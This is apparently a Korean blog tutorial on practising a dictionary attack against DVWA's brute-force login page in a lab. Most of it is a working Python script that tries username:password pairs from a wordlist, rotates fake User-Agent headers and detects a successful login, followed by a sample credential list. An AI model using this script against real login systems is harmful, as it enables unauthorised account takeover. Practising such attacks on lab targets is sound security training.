(웹모의해킹)DVWA와 파이썬을 활용한 Dictionary Attack 실습

오늘은 Dictionary Attack을 실습해 볼 것입니다

아무렇게나 입력하고 로그인 버튼을 눌러보면 이름, 비밀번호가 맞지 않다고 나옵니다. 

버프스위트로 해당 패킷을 잡아보면 이렇게 나옵니다.

저는 파이썬 requests 모듈을 활용하여 실습을 해볼 겁니다.

 

main.py

import requests
from fake_useragent import UserAgent

def Attack():
    URL = "http://10.211.55.7/DVWA/vulnerabilities/brute/"

    cookies = {
        "PHPSESSID" : "er8uv6cfg8ks2dua60gnof174q",
        "security" : "low"
    }

    params = {
        'username' : '',
        'password' : '',
        'Login' : 'Login'
    }

    pF = open('key.txt', 'r')
    for line in pF.readlines():
        params['username'] = line.split(':')[0]
        params['password'] = line.split(':')[1].strip('\n')
        ua = UserAgent()
        fake_headers = {
            "User-Agent": ua.random
        }

        res = requests.get(URL, params=params, cookies=cookies ,headers=fake_headers)
        print("[+] Trying: " + params['username'] + "  " + params['password'])
        if "Welcome to the password protected area admin" in res.text:
            print("Username and Password found! username: {} password: {}".format(params['username'],params['password']))

def main():
    Attack()

if __name__ == "__main__":
    main()

key.txt

admin:1234
admin:4324
admin:p@a@s@s@@word
admin:1233123231
admin:admin
admin:hello
admin:1231123
hello:hello
llllll:llllll
admin:password

결과

 와이어샤크 화면

이렇게 잘 작동하는 것을 볼 수 있습니다.